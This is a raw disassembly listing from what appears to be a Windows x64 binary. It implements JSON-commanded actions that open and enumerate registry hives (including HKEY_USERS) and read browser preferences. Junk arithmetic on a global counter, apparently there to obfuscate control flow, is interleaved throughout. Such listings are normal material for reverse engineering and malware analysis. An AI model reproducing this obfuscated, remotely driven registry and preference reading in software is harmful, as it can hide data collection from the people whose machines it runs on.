mov qword [rsp + 0xca8], rax
cmp byte [rax + 8], 4
jne 0x140055763
test r14, r14
je 0x140055763
mov qword [rsp + 0x2a0], rdi
mov rax, rdi
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x2a8], rax
mov qword [rsp + 0x2b0], rdi
mov byte [rsp + 0x50], dil
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xcb8], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14002f92c
mov qword [rsp + 0xcc8], rax
lea rcx, [0x1401a4c28]
cmp rax, rcx
je 0x140054cdf
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xcd8], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xce8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xcf8], rdx
lea rcx, [rsp + 0x290]
call fcn.140002d94
nop
mov rbx, qword [r13 + 0x50]
lea rdx, str.HKEY_USERS
lea rcx, [rsp + 0x290]
call fcn.140003030
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0xd08], rbx
lea rdx, str.param
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xd18], rax
mov rdx, r12
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xd28], rax
mov rdx, qword [rax]
mov qword [rsp + 0xd38], rdx
lea rax, [rsp + 0x720]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rsp + 0x96c], eax
test eax, eax
je 0x140054b36
mov dword [r14 + 8], eax
mov eax, 0x16
mov word [r14], ax
mov rcx, qword [rsp + 0x290]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6f8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140054a8a
mov rdx, qword [rsp + 0x6f8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x2a0]
call fcn.140019200
nop
mov rcx, qword [rsp + 0x58]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x708], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140054ac8
mov rdx, qword [rsp + 0x708]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
xor r8d, r8d
mov dl, r15b
lea rcx, [rsp + 0x3310]
call fcn.14000136c
nop
mov rcx, qword [rsp + 0x88]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x2d8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140054b0f
mov rdx, qword [rsp + 0x2d8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x3420]
call fcn.140016cbc
nop
lea rcx, [rsp + 0x68]
call fcn.14002ef28
nop
mov bl, byte [rsp + 0x40]
mov r13, qword [rsp + 0x48]
jmp 0x1400558b2
mov r13d, edi
mov dword [rsp + 0xe0], edi
mov r12d, 0x7ffe
mov dword [rsp + 0x128], r12d
lea rdx, str.getChildValues
lea rcx, [rsp + 0x58]
call fcn.140003030
mov rcx, qword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
cmove rcx, qword [sym.imp.ADVAPI32.dll_RegEnumValueA]
mov qword [rsp + 0x2d8], rcx
mov qword [rsp + 0x760], rcx
mov ecx, r12d
call fcn.1400ba748
mov rbx, rax
mov qword [rsp + 0x750], rax
mov r8d, r12d
xor edx, edx
mov rcx, rax
call fcn.1400c0510
mov rax, qword [rsp + 0x2d8]
mov edx, r13d
add r13d, r15d
mov dword [rsp + 0xe0], r13d
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x128]
mov r8, rbx
mov rcx, qword [rsp + 0x720]
call rax
mov dword [rsp + 0x4b0], eax
test eax, eax
jne 0x140054c84
mov rdx, rbx
lea rcx, [rsp + 0x730]
call fcn.140002d94
nop
mov rdx, rax
lea rcx, [rsp + 0x2a0]
call fcn.14001af6c
nop
mov rcx, qword [rsp + 0x730]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x740], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140054c42
mov rdx, qword [rsp + 0x740]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov r8, r12
xor edx, edx
mov rbx, qword [rsp + 0x750]
mov rcx, rbx
call fcn.1400c0510
mov dword [rsp + 0x128], r12d
mov rax, qword [rsp + 0x2a8]
mov qword [rsp + 0x120], rax
mov r13d, dword [rsp + 0xe0]
mov rax, qword [rsp + 0x760]
jmp 0x140054ba8
cmp eax, 0x103
je 0x140054ca8
mov rax, qword [rsp + 0x120]
sub rax, qword [rsp + 0x2a0]
test rax, 0xfffffffffffffff8
mov byte [rsp + 0x50], dil
je 0x140054cad
mov byte [rsp + 0x50], r15b
mov rcx, qword [rsp + 0x290]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x770], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140054e05
mov rdx, qword [rsp + 0x770]
jmp 0x140054dfc
lea rdx, str.getChildValues
lea rcx, [rsp + 0x58]
call fcn.140003030
mov rdx, rbx
lea rcx, [rsp + 0x68]
test eax, eax
jne 0x140054d81
call fcn.14002f7b8
mov qword [rsp + 0xd48], rax
mov rdx, r12
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xd58], rax
mov rdx, qword [rax]
mov qword [rsp + 0xd68], rdx
lea rcx, [rsp + 0x338]
call fcn.140002d94
nop
lea rdx, [rsp + 0x2a0]
lea rcx, [rsp + 0x338]
call fcn.14003d254
mov byte [rsp + 0x50], al
mov rcx, qword [rsp + 0x338]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x780], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140054e05
mov rdx, qword [rsp + 0x780]
jmp 0x140054dfc
call fcn.14002f7b8
mov qword [rsp + 0xd78], rax
mov rdx, r12
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xd88], rax
mov rdx, qword [rax]
mov qword [rsp + 0xd98], rdx
lea rcx, [rsp + 0x348]
call fcn.140002d94
nop
lea rdx, [rsp + 0x2a0]
lea rcx, [rsp + 0x348]
call fcn.14003d030
mov byte [rsp + 0x50], al
mov rcx, qword [rsp + 0x348]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x790], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140054e05
mov rdx, qword [rsp + 0x790]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
cmp byte [rsp + 0x50], dil
je 0x14005525a
mov r13d, dword [0x1401a3d80]
lea ecx, [r13 + 1]
imul ecx, r13d
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub ecx, edx
cmp ecx, 5
jne 0x140054ed7
mov r10d, edi
mov dword [rsp + 0x2bc], edi
cmp r10d, 0xd
jge 0x140054ed7
mov r11d, edi
mov dword [rsp + 0x1b0], edi
cmp r11d, 0x10
jge 0x140054ec7
mov ebx, edi
mov dword [rsp + 0x260], ebx
cmp ebx, r15d
jge 0x140054eba
lea r12d, [rbx + 1]
lea ecx, [r11 + 1]
mov eax, r13d
cdq
idiv ecx
mov r9d, edx
mov eax, r13d
sub eax, r10d
imul r9d, eax
mov eax, r13d
cdq
idiv r12d
imul r9d, eax
movsxd r8, r10d
shl r8, 4
movsxd rax, ebx
add r8, rax
movsxd rax, r11d
lea rcx, [rsp + 0x3d60]
add rcx, rax
mov byte [rcx + r8], r9b
mov ebx, r12d
jmp 0x140054e64
add r11d, r15d
mov dword [rsp + 0x1b0], r11d
jmp 0x140054e5c
add r10d, r15d
mov dword [rsp + 0x2bc], r10d
jmp 0x140054e48
lea rdx, [0x140137790]
lea rcx, [rsp + 0xd8]
call fcn.1400020f8
nop
mov rbx, qword [rsp + 0x2a0]
mov r12d, 8
mov qword [rsp + 0x800], rbx
cmp rbx, qword [rsp + 0x2a8]
je 0x14005506b
lea rdx, [0x140137798]
lea rcx, [rsp + 0x368]
call fcn.140002d94
nop
lea rdx, [0x140137808]
lea rcx, [rsp + 0x358]
call fcn.140002d94
nop
mov r8, rbx
lea rdx, [rsp + 0x358]
lea rcx, [rsp + 0x7c0]
call fcn.14000dac8
nop
lea r8, [rsp + 0x368]
mov rdx, rax
lea rcx, [rsp + 0x7a0]
call fcn.14000dac8
mov qword [rsp + 0xda8], rax
mov rdx, qword [rax]
mov r8d, dword [rdx - 0x10]
mov dword [rsp + 0x728], r8d
mov qword [rsp + 0xdb8], rdx
lea rcx, [rsp + 0xd8]
call fcn.14000e4ec
nop
mov rcx, qword [rsp + 0x7a0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7b0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140054fcb
mov rdx, qword [rsp + 0x7b0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x7c0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7d0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140054ffe
mov rdx, qword [rsp + 0x7d0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x358]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x470], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140055031
mov rdx, qword [rsp + 0x470]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x368]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7f0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140055063
mov rdx, qword [rsp + 0x7f0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
add rbx, r12
jmp 0x140054efa
mov rax, qword [rsp + 0xd8]
mov r8d, dword [rax - 0x10]
mov dword [rsp + 0x4c0], r8d
dec r8d
lea rdx, [rsp + 0x830]
lea rcx, [rsp + 0xd8]
call fcn.140018b50
nop
lea r8, [0x14013780c]
mov rdx, rax
lea rcx, [rsp + 0x810]
call fcn.140018bf8
nop
mov rdx, rax
lea rcx, [rsp + 0xd8]
call fcn.1400021c4
nop
mov rcx, qword [rsp + 0x810]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x820], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400550f4
mov rdx, qword [rsp + 0x820]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x830]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x840], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140055126
mov rdx, qword [rsp + 0x840]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rcx, qword [rsp + 0xd8]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x868], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xdc8], rax
test rax, rax
jne 0x140055150
call fcn.1400023fc
mov qword [r14 + 8], rax
mov word [r14], r12w
mov r8d, dword [0x1401a3d80]
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub ecx, edx
cmp ecx, 7
jne 0x140055226
mov r9d, edi
mov dword [rsp + 0x1c0], edi
test r8d, r8d
je 0x140055226
add r9d, r15d
mov dword [rsp + 0x1c0], r9d
mov eax, r8d
and eax, 0x80000001
jge 0x1400551b7
sub eax, r15d
or eax, 0xfffffffe
add eax, r15d
test eax, eax
jne 0x1400551ce
mov eax, r8d
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov dword [0x1401a3d80], eax
jmp 0x1400551dd
lea r8d, [r8*2 + 1]
mov dword [0x1401a3d80], r8d
mov eax, 0x55555556
imul r8d
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
mov ecx, r8d
sub ecx, eax
je 0x140055201
sub ecx, 2
je 0x14005520c
dec ecx
je 0x140055216
jmp 0x140055221
add r8d, 2
mov dword [0x1401a3d80], r8d
add r8d, r15d
mov dword [0x1401a3d80], r8d
add r8d, 2
mov dword [0x1401a3d80], r8d
jmp 0x140055190
mov rcx, qword [rsp + 0xd8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x850], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140055269
mov rdx, qword [rsp + 0x850]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x140055269
mov word [r14 + 8], di
mov r12d, 0xb
mov word [r14], r12w
lea rcx, [rsp + 0x2a0]
call fcn.140019200
jmp 0x140055763
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xdd8], rax
lea r12, str.keyPath
mov rdx, r12
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xde8], rax
cmp byte [rax + 8], 4
jne 0x140055763
test r14, r14
je 0x140055763
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xdf8], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xe08], rax
cmp byte [rax + 8], 4
jne 0x140055763
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xe18], rax
mov rdx, r12
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xe28], rax
mov rdx, qword [rax]
mov qword [rsp + 0xe38], rdx
lea rcx, [rsp + 0x100]
call fcn.140002d94
nop
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xe48], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xe58], rax
mov rdx, qword [rax]
mov qword [rsp + 0xe68], rdx
lea rcx, [rsp + 0xf0]
call fcn.140002d94
nop
mov r12, rdi
mov qword [rsp + 0x140], rdi
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xe78], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14002f92c
mov qword [rsp + 0xe88], rax
lea rcx, [0x1401a4c28]
cmp rax, rcx
je 0x1400554a2
call fcn.14004fb58
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f7b8
mov qword [rsp + 0xe98], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14002f7b8
mov qword [rsp + 0xea8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xeb8], rdx
lea rcx, [rsp + 0x378]
call fcn.140002d94
nop
mov rbx, qword [r13 + 0x50]
mov qword [rsp + 0x140], rbx
lea rdx, str.HKEY_USERS
lea rcx, [rsp + 0x378]
call fcn.140003030
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0x140], rbx
mov ecx, dword [0x1401a3d80]
mov eax, ecx
imul eax, ecx
and eax, 0x8000000f
jge 0x14005545a
sub eax, r15d
or eax, 0xfffffff0
add eax, r15d
cmp eax, 7
jne 0x140055468
add ecx, r15d
mov dword [0x1401a3d80], ecx
mov rcx, qword [rsp + 0x378]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x860], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14005549a
mov rdx, qword [rsp + 0x860]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov r12, qword [rsp + 0x140]
lea rdx, str.getCharPref
lea rcx, [rsp + 0x58]
call fcn.140003030
test eax, eax
jne 0x14005561a
lea rcx, [rsp + 0x150]
call fcn.1400020c0
nop
test r12, r12
je 0x1400554f3
mov r9, r12
lea r8, [rsp + 0x100]
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x150]
call fcn.14003c424
jmp 0x140055586
lea rax, [rsp + 0x870]
mov qword [rsp + 0xec8], rax
lea rdx, [0x140131658]
lea rcx, [rsp + 0x870]
call fcn.1400020f8
nop
mov qword [rsp + 0x20], rax
mov r9, qword [0x14019ed48]
lea r8, [rsp + 0x100]
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x880]
call fcn.14003bda4
nop
mov rdx, rax
lea rcx, [rsp + 0x150]
call fcn.1400021c4
nop
mov rcx, qword [rsp + 0x880]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x890], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140055586
mov rdx, qword [rsp + 0x890]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov r13, qword [rsp + 0x48]
jmp 0x1400555a7
mov rcx, qword [rsp + 0x150]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x4d0], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xed8], rax
test rax, rax
jne 0x1400555d1
call fcn.1400023fc
mov qword [r14 + 8], rax
mov r12d, 8
mov word [r14], r12w
mov rcx, qword [rsp + 0x150]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x8b0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400556fc
mov rdx, qword [rsp + 0x8b0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x1400556fc
mov ebx, esi
mov dword [rsp + 0x9c], ebx
or r13d, 0xffffffff
mov dword [rsp + 0xb0], r13d
test r12, r12
je 0x140055675
mov r9, r12
lea r8, [rsp + 0x100]
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0xb0]
call fcn.14003c5b8
mov byte [rsp + 0x91], al
cmp dword [rsp + 0xb0], r13d
je 0x1400556d5
mov ebx, dword [rsp + 0xb0]
mov dword [rsp + 0x9c], ebx
jmp 0x1400556d1
lea rax, [rsp + 0x8c0]
mov qword [rsp + 0xee8], rax
lea rdx, [0x140131658]
lea rcx, [rsp + 0x8c0]
call fcn.1400020f8
nop
mov qword [rsp + 0x20], rax
mov r9, qword [0x14019ed48]
lea r8, [rsp + 0x100]
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x9c]
call fcn.14003c964
mov byte [rsp + 0x91], al
mov ebx, dword [rsp + 0x9c]
cmp ebx, esi
jne 0x1400556ea
test al, al
jne 0x1400556ea
mov word [r14 + 8], di
mov r12d, 0xb
mov word [r14], r12w
jmp 0x1400556f7
mov dword [r14 + 8], ebx
mov eax, 0x16
mov word [r14], ax
mov r13, qword [rsp + 0x48]
mov rcx, qword [rsp + 0xf0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x8d0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14005572f
mov rdx, qword [rsp + 0x8d0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x100]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x8e0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140055768
mov rdx, qword [rsp + 0x8e0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x140055768
lea rdx, str.json_parse_action_not_found
lea rcx, [rsp + 0x398]
call fcn.140002d94
nop
lea rdx, [rsp + 0x398]
mov rcx, qword [r13 + 0x40]
call fcn.14004b1f4
nop
mov rcx, qword [rsp + 0x398]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x8f0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14005580a
mov rdx, qword [rsp + 0x8f0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x3328], 0x10
jb 0x140055822
mov rcx, qword [rsp + 0x3310]
call fcn.1400bb0b4
mov qword [rsp + 0x3328], rbx
mov qword [rsp + 0x3320], rdi
mov byte [rsp + 0x3310], dil
mov rcx, qword [rsp + 0x88]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x900], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14005586d
mov rdx, qword [rsp + 0x900]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x3420]
call fcn.140016cbc
nop
lea rcx, [rsp + 0x68]
call fcn.14002ef28
nop
mov bl, byte [rsp + 0x40]
mov r13, qword [rsp + 0x48]
jmp 0x1400558b2
test bl, bl
jne 0x1400558bb